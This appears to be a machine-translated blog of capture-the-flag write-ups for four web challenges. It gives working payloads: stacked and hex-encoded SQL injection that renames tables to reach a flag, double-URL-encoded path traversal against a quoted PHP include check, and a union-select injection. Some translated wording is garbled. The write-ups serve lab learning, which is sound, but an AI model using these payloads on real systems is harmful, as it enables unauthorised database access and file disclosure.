Offensive and defensive world 4-8

• Talk to masturbate

supersqli

• First try union injection
• Found that union is filtered
• Thought of stacking
• Burst database
  payload:1';show databases;#
• Burst table
  payload:1';show tables;#
• Burst field
  payload:1';show columns from words;#
payload:1';show columns from 1919810931114514;#
• The problem environment seems to be a problem. The fields of the second table cannot be exposed.

• Rename the words table to another table name through rename.
• Change the name of the 1919810931114514 table to words.
• Add a new column name id to the new words table.
• Rename the flag to data

• 1'; rename table words to word1; rename table `1919810931114514` to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100); #
• Enter 1 to get the flag
• The second solution
• Because the select is filtered
• So it can be encoded in hexadecimal
• 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
• prepare...from... is a prepared statement, which will perform encoding conversion
• Execute is used to execute the SQL statement created by SQLPrepare
• SELECT can assign values ​​to multiple variables at the same time in one statement, while SET can only assign values ​​to one variable at a time.
• The third solution : rewrite the upgraded version of the topic

ics-06

• The cloud platform report center collected data on basic equipment management services, but the data was deleted, leaving only one trace of the intruder.
• There is an id to visit
• ID blasting directly with burpsuit
• The value I set is 1-10000, but 1-3000 is enough

warmup

• My real web problem
• Since I did this question, I really started to learn web security
• Hate myself for not knowing myself earlier
• F12 View source code access source.php
• Code audit post the code

 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', "?")
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', "?")
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
    
    
        include $_REQUEST['file'];
        exit;
    } else {
    
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

• Audit a wave
• First of all, it is necessary to determine whether the file is empty, whether the file is a string, and then the determination of the checkFile() function
• If successful, this file containing the value of file will be included
• Audit checkFile()
• First of all, a whitelist must be uploaded. File is called page in checkfile.
• page is not empty, it is a string, and page must be in the whitelist
• The next step is to intercept the first letter of the page to the position where the? Appears
• Here you can give the payload
• ?file=hint.php?../../../../../ffffllllaaaaggggThis is an unexpected
• If you don’t solve the problem unexpectedly
• A url decoding was performed in the php file, and the background server performed a url decoding
• payload
• ?file=hint.php%253F../../../../../ffffllllaaaagggg

NewsCenter

• Just type in and search by keyword
• What is the searched content What is the returned content
• Feels like an injection
• The final payload
  1' union select 1,database(),fl4g from news.secret_table#